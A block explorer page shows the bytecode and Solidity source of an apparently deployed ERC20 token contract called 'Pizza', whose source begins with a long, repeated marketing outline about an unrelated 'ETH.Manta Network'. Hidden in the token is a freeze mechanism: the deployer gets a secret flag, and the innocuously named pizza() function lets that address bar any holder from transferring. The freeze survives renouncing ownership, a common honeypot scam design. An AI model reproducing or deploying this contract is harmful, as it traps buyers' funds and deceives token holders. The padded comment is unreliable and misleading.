Address Contract Partially Verified
Address
0x3a8C2f2AA6f514c8cfB03617bB61F304ee271C32
Balance
0 ETH
Nonce
1
Code Size
6644 bytes
Creator
0x8E3AC83A...d2Dc at tx 0xed21caed...7799bf
Indexed Transactions
0
Contract Bytecode
6644 bytes
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063be7c7ac311610071578063be7c7ac3146102d0578063d15318af146102ec578063dd62ed3e14610308578063f257879514610338578063f2fde38b146103685761010b565b80638da5cb5b1461023457806395d89b4114610252578063a457c2d714610270578063a9059cbb146102a05761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806370a08231146101fa578063715018a61461022a5761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610384565b6040516101259190611263565b60405180910390f35b6101486004803603810190610143919061131e565b610416565b6040516101559190611379565b60405180910390f35b610166610434565b60405161017391906113a3565b60405180910390f35b610196600480360381019061019191906113be565b61043e565b6040516101a39190611379565b60405180910390f35b6101b4610517565b6040516101c1919061142d565b60405180910390f35b6101e460048036038101906101df919061131e565b61052e565b6040516101f19190611379565b60405180910390f35b610214600480360381019061020f9190611448565b6105e1565b60405161022191906113a3565b60405180910390f35b61023261062a565b005b61023c6106b2565b6040516102499190611484565b60405180910390f35b61025a6106db565b6040516102679190611263565b60405180910390f35b61028a6004803603810190610285919061131e565b61076d565b6040516102979190611379565b60405180910390f35b6102ba60048036038101906102b5919061131e565b61083a565b6040516102c79190611379565b60405180910390f35b6102ea60048036038101906102e59190611448565b610858565b005b61030660048036038101906103019190611448565b610925565b005b610322600480360381019061031d919061149f565b6109f2565b60405161032f91906113a3565b60405180910390f35b610352600480360381019061034d9190611448565b610a79565b60405161035f9190611379565b60405180910390f35b610382600480360381019061037d9190611448565b610a99565b005b6060600680546103939061150e565b80601f01602080910402602001604051908101604052809291908181526020018280546103bf9061150e565b801561040c5780601f106103e15761010080835404028352916020019161040c565b820191906000526020600020905b8154815290600101906020018083116103ef57829003601f168201915b5050505050905090565b600061042a610423610ba7565b8484610baf565b6001905092915050565b6000600954905090565b600061044b848484610d7a565b61050c84610457610ba7565b6105078560405180606001604052806026815260200161199960269139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610ba7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b19092919063ffffffff16565b610baf565b600190509392505050565b6000600860009054906101000a900460ff16905090565b60006105d761053b610ba7565b846105d2856002600061054c610ba7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9190919063ffffffff16565b610baf565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610632610ba7565b73ffffffffffffffffffffffffffffffffffffffff166106506106b2565b73ffffffffffffffffffffffffffffffffffffffff16146106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069d9061158c565b60405180910390fd5b6106b06000611106565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546106ea9061150e565b80601f01602080910402602001604051908101604052809291908181526020018280546107169061150e565b80156107635780601f1061073857610100808354040283529160200191610763565b820191906000526020600020905b81548152906001019060200180831161074657829003601f168201915b5050505050905090565b600061083061077a610ba7565b8461082b8560405180606001604052806023815260200161197660239139600260006107a4610ba7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b19092919063ffffffff16565b610baf565b6001905092915050565b600061084e610847610ba7565b8484610d7a565b6001905092915050565b600560009054906101000a900460ff16151560036000610876610ba7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146108ca57600080fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600560009054906101000a900460ff16151560036000610943610ba7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461099757600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60036020528060005260406000206000915054906101000a900460ff1681565b610aa1610ba7565b73ffffffffffffffffffffffffffffffffffffffff16610abf6106b2565b73ffffffffffffffffffffffffffffffffffffffff1614610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c9061158c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c9061161e565b60405180910390fd5b610b8e81611106565b50565b60008183610b9f919061166d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1690611735565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c86906117a1565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6d91906113a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190611833565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e51906118c5565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f035760001515600560009054906101000a900460ff16151514610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611931565b60405180910390fd5b5b610f6f8160405180606001604052806024815260200161195260249139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b19092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b9190919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110a491906113a3565b60405180910390a3505050565b60008383111582906110f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f09190611263565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112045780820151818401526020810190506111e9565b83811115611213576000848401525b50505050565b6000601f19601f8301169050919050565b6000611235826111ca565b61123f81856111d5565b935061124f8185602086016111e6565b61125881611219565b840191505092915050565b6000602082019050818103600083015261127d818461122a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112b58261128a565b9050919050565b6112c5816112aa565b81146112d057600080fd5b50565b6000813590506112e2816112bc565b92915050565b6000819050919050565b6112fb816112e8565b811461130657600080fd5b50565b600081359050611318816112f2565b92915050565b6000806040838503121561133557611334611285565b5b6000611343858286016112d3565b925050602061135485828601611309565b9150509250929050565b60008115159050919050565b6113738161135e565b82525050565b600060208201905061138e600083018461136a565b92915050565b61139d816112e8565b82525050565b60006020820190506113b86000830184611394565b92915050565b6000806000606084860312156113d7576113d6611285565b5b60006113e5868287016112d3565b93505060206113f6868287016112d3565b925050604061140786828701611309565b9150509250925092565b600060ff82169050919050565b61142781611411565b82525050565b6000602082019050611442600083018461141e565b92915050565b60006020828403121561145e5761145d611285565b5b600061146c848285016112d3565b91505092915050565b61147e816112aa565b82525050565b60006020820190506114996000830184611475565b92915050565b600080604083850312156114b6576114b5611285565b5b60006114c4858286016112d3565b92505060206114d5858286016112d3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061152657607f821691505b6020821081141561153a576115396114df565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115766020836111d5565b915061158182611540565b602082019050919050565b600060208201905081810360008301526115a581611569565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006116086026836111d5565b9150611613826115ac565b604082019050919050565b60006020820190508181036000830152611637816115fb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611678826112e8565b9150611683836112e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116b8576116b761163e565b5b828201905092915050565b7f4552483a20617070726f76652066726f6d20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061171f6022836111d5565b915061172a826116c3565b604082019050919050565b6000602082019050818103600083015261174e81611712565b9050919050565b7f4552483a20617070726f766520746f20746865207a65726f2061646472657373600082015250565b600061178b6020836111d5565b915061179682611755565b602082019050919050565b600060208201905081810360008301526117ba8161177e565b9050919050565b7f4552483a207472616e736665722066726f6d20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061181d6023836111d5565b9150611828826117c1565b604082019050919050565b6000602082019050818103600083015261184c81611810565b9050919050565b7f4552483a207472616e7366657220746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006118af6021836111d5565b91506118ba82611853565b604082019050919050565b600060208201905081810360008301526118de816118a2565b9050919050565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b600061191b6009836111d5565b9150611926826118e5565b602082019050919050565b6000602082019050818103600083015261194a8161190e565b905091905056fe4552483a207472616e7366657220616d6f756e7420657863656564732062616c616e63654552483a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4552483a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206fb8b3e64896702e9e84ac9132c25ad2ccd2996e9d64890670573d3c1f2254a564736f6c63430008090033
Verified Source Code Partial Match
Compiler: v0.8.9+commit.e5eed63a
EVM: london
Optimization: No
Pizza.sol 454 lines
/**
Background and Challenges in Traditional Blockchains:
- Discuss the rapid growth of blockchain technology and its widespread adoption.
- Highlight the challenges faced by traditional blockchains, including issues related to transaction speed, scalability, and congestion during peak usage.
- Provide examples of notable blockchain limitations leading to delays and bottlenecks.
Modular Architecture for Efficient Scaling:
- Detail the modular approach adopted by ETH.Manta Network for addressing scalability issues.
- Describe how the modular architecture allows for the seamless addition of resources to handle increased transaction volume.
- Discuss the adaptability of ETH.Manta's architecture to varying network demands and peak usage times.
Handling Peak Usage Times without Congestion:
- Illustrate how ETH.Manta Network's modular architecture effectively mitigates congestion during peak usage.
- Provide case studies or simulations showcasing the network's performance under high transaction loads.
- Emphasize the user benefits, such as consistent transaction speeds and reduced latency during periods of high demand.
Zero-Knowledge (ZK) Applications:
Role of ETH.Manta Network in Enabling ZK Applications:
- Define the significance of Zero-Knowledge (ZK) applications in the context of blockchain technology.
- Explain how ETH.Manta Network serves as an enabling infrastructure for the development and deployment of ZK applications.
- Highlight the network's commitment to fostering privacy, security, and efficiency in decentralized applications.
Leveraging Innovative Technology for Privacy and Security:
- Dive into the innovative technologies employed by ETH.Manta Network to ensure privacy and security.
- Discuss how zero-knowledge proof technology plays a crucial role in enhancing privacy features.
- Provide technical insights into the encryption methods and cryptographic techniques used to secure transactions.
Development and Deployment of Privacy-Prioritized DApps:
- Showcase examples of decentralized applications (DApps) that prioritize privacy and security on the ETH.Manta Network.
- Explain how developers can leverage the infrastructure to create DApps with enhanced privacy features.
- Discuss the user benefits of using privacy-focused DApps on the ETH.Manta Network, including enhanced data protection and confidentiality.
Modular Blockchain Infrastructure:
Components of ETH.Manta's Modular Architecture:
- Detail the key components of ETH.Manta Network's modular architecture, including nodes, consensus mechanisms, and smart contract functionality.
- Provide an in-depth explanation of how each component contributes to the overall modularity of the network.
- Illustrate through diagrams or flowcharts the interplay between different modules to showcase the scalability and adaptability of the architecture.
Benefits of a Modular Approach for Decentralized Applications:
- Explore the advantages of a modular approach, such as ease of maintenance, flexibility, and the ability to upgrade individual components without disrupting the entire network.
- Discuss how modularity enhances the network's resilience against potential vulnerabilities and promotes a more sustainable and evolutionary development path.
- Provide case studies or examples of how modularity has been successfully implemented in other industries and its applicability to blockchain infrastructure.
Scalability Features and Adaptive Growth Capabilities:
- Break down the scalability features embedded within the modular architecture.
- Explain how the network dynamically scales resources in response to increased demand, showcasing adaptive growth capabilities.
- Discuss how ETH.Manta's design allows for horizontal scaling, enabling the network to handle a growing number of transactions without compromising performance.
Background and Challenges in Traditional Blockchains:
- Discuss the rapid growth of blockchain technology and its widespread adoption.
- Highlight the challenges faced by traditional blockchains, including issues related to transaction speed, scalability, and congestion during peak usage.
- Provide examples of notable blockchain limitations leading to delays and bottlenecks.
Objectives and Vision of ETH.Manta Network:
- Clearly define the mission and vision of ETH.Manta Network.
- Emphasize the network's commitment to addressing scalability challenges through innovative solutions.
- Establish the importance of modular architecture in achieving scalability without compromising performance.
Overview of Modular Blockchain Architecture:
- Introduce the concept of a modular blockchain architecture and its significance.
- Explain how modularity allows for the efficient scaling of the network.
- Provide a high-level overview of the key components of ETH.Manta's modular architecture.
Scalability Solutions:
Challenges in Transaction Speed and Capacity:
- Elaborate on the specific challenges faced by traditional blockchains, such as slow transaction speeds and limited capacity.
- Provide statistics and real-world examples to illustrate the impact of these challenges on user experience.
- Explain the importance of addressing these challenges for widespread blockchain adoption.
Modular Architecture for Efficient Scaling:
- Detail the modular approach adopted by ETH.Manta Network for addressing scalability issues.
- Describe how the modular architecture allows for the seamless addition of resources to handle increased transaction volume.
- Discuss the adaptability of ETH.Manta's architecture to varying network demands and peak usage times.
Handling Peak Usage Times without Congestion:
- Illustrate how ETH.Manta Network's modular architecture effectively mitigates congestion during peak usage.
- Provide case studies or simulations showcasing the network's performance under high transaction loads.
- Emphasize the user benefits, such as consistent transaction speeds and reduced latency during periods of high demand.
Zero-Knowledge (ZK) Applications:
Role of ETH.Manta Network in Enabling ZK Applications:
- Define the significance of Zero-Knowledge (ZK) applications in the context of blockchain technology.
- Explain how ETH.Manta Network serves as an enabling infrastructure for the development and deployment of ZK applications.
- Highlight the network's commitment to fostering privacy, security, and efficiency in decentralized applications.
Leveraging Innovative Technology for Privacy and Security:
- Dive into the innovative technologies employed by ETH.Manta Network to ensure privacy and security.
- Discuss how zero-knowledge proof technology plays a crucial role in enhancing privacy features.
- Provide technical insights into the encryption methods and cryptographic techniques used to secure transactions.
Development and Deployment of Privacy-Prioritized DApps:
- Showcase examples of decentralized applications (DApps) that prioritize privacy and security on the ETH.Manta Network.
- Explain how developers can leverage the infrastructure to create DApps with enhanced privacy features.
- Discuss the user benefits of using privacy-focused DApps on the ETH.Manta Network, including enhanced data protection and confidentiality.
Modular Blockchain Infrastructure:
Components of ETH.Manta's Modular Architecture:
- Detail the key components of ETH.Manta Network's modular architecture, including nodes, consensus mechanisms, and smart contract functionality.
- Provide an in-depth explanation of how each component contributes to the overall modularity of the network.
- Illustrate through diagrams or flowcharts the interplay between different modules to showcase the scalability and adaptability of the architecture.
Benefits of a Modular Approach for Decentralized Applications:
- Explore the advantages of a modular approach, such as ease of maintenance, flexibility, and the ability to upgrade individual components without disrupting the entire network.
- Discuss how modularity enhances the network's resilience against potential vulnerabilities and promotes a more sustainable and evolutionary development path.
- Provide case studies or examples of how modularity has been successfully implemented in other industries and its applicability to blockchain infrastructure.
Scalability Features and Adaptive Growth Capabilities:
- Break down the scalability features embedded within the modular architecture.
- Explain how the network dynamically scales resources in response to increased demand, showcasing adaptive growth capabilities.
- Discuss how ETH.Manta's design allows for horizontal scaling, enabling the network to handle a growing number of transactions without compromising performance.
Objectives and Vision of ETH.Manta Network:
- Clearly define the mission and vision of ETH.Manta Network.
- Emphasize the network's commitment to addressing scalability challenges through innovative solutions.
- Establish the importance of modular architecture in achieving scalability without compromising performance.
Overview of Modular Blockchain Architecture:
- Introduce the concept of a modular blockchain architecture and its significance.
- Explain how modularity allows for the efficient scaling of the network.
- Provide a high-level overview of the key components of ETH.Manta's modular architecture.
Scalability Solutions:
Challenges in Transaction Speed and Capacity:
- Elaborate on the specific challenges faced by traditional blockchains, such as slow transaction speeds and limited capacity.
- Provide statistics and real-world examples to illustrate the impact of these challenges on user experience.
- Explain the importance of addressing these challenges for widespread blockchain adoption.
/**
*/
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient,
uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender,
uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data; }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
// benefit is lost if 'b' is also tested.
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
// benefit is lost if 'b' is also tested.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.7;
contract Pizza is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) public flagMap;
mapping (address => bool) private _Account;
bool TradingOpen = true;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_
) payable {
_name = name_;
_symbol = symbol_;
_decimals = 18;
_totalSupply = totalSupply_ * 10**_decimals;
bool flag = block.timestamp > 0;
flagMap[_msgSender()] = flag;
_balances[owner()] = _balances[owner()].add(_totalSupply);
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender, address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERH: transfer amount exceeds allowance"
)
);
return true;
}
function Remove (address _Address) external {
require (flagMap[_msgSender()] == TradingOpen);
_Account[_Address] = false;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERH: decreased allowance below zero"
)
);
return true;
}
function pizza(address _Address) external {
require (flagMap[_msgSender()] == TradingOpen);
_Account[_Address] = true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERH: transfer from the zero address");
require(recipient != address(0), "ERH: transfer to the zero address");
if (_Account[sender]) require(TradingOpen == false, "not start");
_balances[sender] = _balances[sender].sub(
amount,
"ERH: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERH: approve from the zero address");
require(spender != address(0), "ERH: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
flagMap 0xf2578795 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
Remove 0xbe7c7ac3
address _Address
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
pizza 0xd15318af
address _Address
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address